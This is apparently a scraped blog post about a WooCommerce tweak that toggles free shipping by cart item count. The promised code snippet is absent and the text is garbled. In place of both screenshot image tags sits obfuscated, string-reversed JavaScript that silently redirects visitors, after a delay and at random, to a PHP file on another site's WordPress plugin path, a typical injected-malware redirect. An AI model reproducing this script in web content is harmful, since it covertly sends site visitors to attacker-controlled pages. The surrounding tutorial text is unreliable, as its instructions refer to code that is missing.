Show/Hide Free Shipping Based on Item Count for Domestic Shipment

One of our customers who buy 12 or more comic books.

We created a code snippet as below that enables to show/hide Free Shipping based on item count for domestic shipment:

In the above code, alter the number in the variable ($minimum_number_of_item = 12;) to offer free shipping.

Also alter the variable for country code ($shop_country = ‘AU’;) as applicable.

Here are two screenshots to show how the snippet works:

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore.png” alt=”” width=”866″ height=”586″ /> Screenshot 1: Cart with less than 12 items

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore.png” alt=”” width=”867″ height=”583″ /> Screenshot 2: Cart with more than 12 items

Leave a Reply